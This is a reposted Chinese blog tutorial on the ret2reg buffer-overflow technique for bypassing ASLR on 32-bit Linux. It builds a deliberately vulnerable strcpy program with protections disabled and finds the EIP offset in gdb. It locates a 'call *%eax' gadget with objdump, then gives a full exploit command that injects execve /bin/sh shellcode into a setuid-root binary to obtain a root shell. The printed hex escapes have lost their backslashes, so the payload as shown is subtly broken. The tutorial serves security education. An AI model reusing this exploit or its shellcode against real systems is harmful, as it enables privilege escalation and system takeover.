[转载，原文：http://blog.csdn.net/linyt/article/details/43612409]
（根据自己测试遇到的问题，修改了下测试程序）
前面介绍的攻击方法，EIP注入的地址必须是一个确定地址，否则无法攻击成功，为了与本文介绍的攻击方法形成比对，我将前面的方法称为ret2addr（return-to-address，返回到确定地址执行的攻击方法）。
安全人员为保护免受ret2addr攻击，想到了一个办法，那就是地址混淆技术。该述语英文称为 Address Space LayoutRandomization，直译为地址随机化。该技术将栈，堆和动态库空间全部随机化。在32位系统上，随机量在64M范围；而在64位系统，它的随机量在2G范围，因此原来的ret2addr技术无法攻击成功。（简单来说，就是程序每次执行时，其地址都不一样）
很快攻击者想到另一种攻击方法ret2reg，即return-to-register，返回到寄存地址执行 的攻击方法。
它的原理很简单
1） 分析和调试汇编，看溢出函返回时哪个寄存值指向溢出缓冲区空间
2）然后反编译二进制，查找call reg 或者jmp reg指令，将该指令所在的地址注入到 EIP
3）再在reg指向的空间上注入Shellcode
此攻击方法之所以能成功，是因为函数内部实现时，溢出的缓冲区地址通常会加载到某个寄存器上，在后在的运行过程中不会修改。尽管栈空间具有随机性，但该寄存器的值与缓冲区地址的关系是确定的，在随机地址之上，建立了必然的地址关系。一句话就是 在随机性上找到地址的确定性关系。
攻击准备
打开Linux的地址混淆功能：
echo 2 > /proc/sys/kernel/randomize_va_space
漏洞程序
编写如下的程序，源文件命名为stack2.c
1 #include <stdio.h> 2 #include <string.h> 3 4 void f(char *input) 5 { 6 char buffer[512]; 7 strcpy(buffer, input); 8 } 9 10 void f2(char *input) 11 { 12 f(input); 13 } 14 int main(int argc, char **argv) 15 { 16 f2(argv[1]); 17 return 0; 18 }
编译命令如下：
$ gcc -Wall -g -o stack2 stack2.c -z execstack -m32 -fno-stack-protector
对准EIP
还是老方法，第一步首先是对准EIP，由于buffer变量的大小是512字节，那我们的填充内容 从 512个A和BBBB开始，每次增加4个A，直到将BBBB注入到EIP。下面成功将BBBB注入EIP的结果：
$ ./stack2 $(perl -e 'printf "A"x524 . "BBBB"')
$ gdb ./stack2 core -q
Reading symbols from /home/ivan/exploit/stack2...done.
[New LWP 3979]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `./stack2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()
(gdb) info registers
eax 0xfff94ed0 -438576
ecx 0xfff96500 -432896
edx 0xfff950d8 -438056
ebx 0xf7758ff4 -143290380
esp 0xfff950e0 0xfff950e0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x424242420x42424242
eflags 0x10202 [ IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x00
gs 0x6399
确定哪个寄存器与缓冲区有确定性的关系
如果你一步一步地按ret2addr攻击方法操作并攻击成功，那么你会发现此时的esp就是指向注入EIP的下一个地址。如果你能在程序中找到call esp或者jmp esp这样的指令，就可以将EIP注入该指令地址，并且在EIP后面注入shellcode，那就彻底绕过地址混淆保护方法。
可惜的是，整个程序都找到这样的指令。OK，那我们退而求其次……
认真观察一下f函数的反编译：
1 (gdb) disassemble f 2 Dump of assembler code for function f: 3 0x0804840b <+0>: push %ebp 4 0x0804840c <+1>: mov %esp,%ebp 5 0x0804840e <+3>: sub $0x208,%esp 6 0x08048414 <+9>: sub $0x8,%esp 7 0x08048417 <+12>: pushl 0x8(%ebp) 8 0x0804841a <+15>: lea -0x208(%ebp),%eax 9 0x08048420 <+21>: push %eax 10 0x08048421 <+22>: call 0x80482e0 <strcpy@plt> 11 0x08048426 <+27>: add $0x10,%esp 12 0x08048429 <+30>: nop 13 0x0804842a <+31>: leave 14 0x0804842b <+32>: ret 15 End of assembler dump.
发现调用strcpy函数前，eax指向buffer地址；但是eax属于caller-save寄存器，strcpy函数是否会将它改掉呢？我们就以对准EIP生成的core文件，分析一下strcpy函数中是否更改了eax:
生成core是，eax 值为0xfff94ed0，使用x命令查看它是否指向一块内容为AAAA的内存：
(gdb) x/40xw 0xfff94ed0 - 0x10
0xfff94ec0:0xfff94ed00xfff962f80xf779353c0x00000020
0xfff94ed0:0x414141410x414141410x414141410x41414141
0xfff94ee0:0x414141410x414141410x414141410x41414141
0xfff94ef0:0x414141410x414141410x414141410x41414141
0xfff94f00:0x414141410x414141410x414141410x41414141
0xfff94f10:0x414141410x414141410x414141410x41414141
0xfff94f20:0x414141410x414141410x414141410x41414141
0xfff94f30:0x414141410x414141410x414141410x41414141
0xfff94f40:0x414141410x414141410x414141410x41414141
0xfff94f50:0x414141410x414141410x414141410x41414141
果然eax就是buffer缓冲区的地址。
查找call eax/jmp eax指令
前文提到，已将地址混淆地址打开，就算找到call eax/jmp eax指令的地址也是随机的，每次运行不确定，造成攻击不成功。
前文提到使用 echo 2 > /proc/sys/kernel/randomize_va_space 命令将地址混淆技术启用，但该技术对栈空间，堆地址和动态库加载空间都进行了混淆，唯独没有对程序做地址混淆。
事实上Linux gcc编译器提供了-fPIE选项，但用它来编译，可使程序空间做地址混淆，造成整个进程地址混淆。但一般的开源软件和商用Linux发行商的服务进程并没有使用-fPIE进行安全增加，还是留下了可利用空间。注意到， stack2在编译时没有使用-fPIE选项。
使用objdump和grep命令查看是否有与eax/esp相关的转跳指令：
$ objdump -d stack2 | grep *%eax
80483df: ff d0 call *%eax
80484cb: ff d0 call *%eax
$ objdump -d stack2 | grep *%esp
找到两条 call *%eax指令。
好，就利用0x80483df地址上的call *%eax指令，将xdfx83x04x08注入到EIP，让函数返回时，执行call *%eax，跳到缓冲区的开始地址去执行；接着我们小心翼翼地址将shellcode放到buffer开始地址即可。
因此注入内容格式如下：
ShellCode(N) + A(524-N) + xdfx83x04x08
攻击测试
在如何编写shellcode中介绍了打开sh的shellcode，就使用这个shellcode进行测试。该shellcode内容：
x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80
长度为25个字节，即上述注入内容格式中的N为25:
x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80 + Ax499 + xdfx83x04x08
为了更方法验证攻击功，我们将stack2的owner设置为root，并带S位，让普通用户也能执行。
$ sudo chown root:root ./stack2
$ sudo chmod a+s ./stack2
最后时刻：
$ ./stack2 $(perl -e 'printf "x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80" . "A"x499 ."xdfx83x04x08"')
# whoami
root
#
击攻成功，打开新sh，从普通用户权限提升成root.
小结：
其实ret2reg方法，并不是总能攻击成功了，如果程序strcpy或者后面的代码复用了eax寄存，那eax跟buffer就没有关毛钱关系，无法建立确定性。
ret2reg方法核心是：找到寄存器与缓冲区地址的确定性关系，然后从程序中搜索call reg/jmp reg这样的指令；如果两者条件满足，则存利用空间
原始博客：http://blog.csdn.net/linyt/article/details/43612409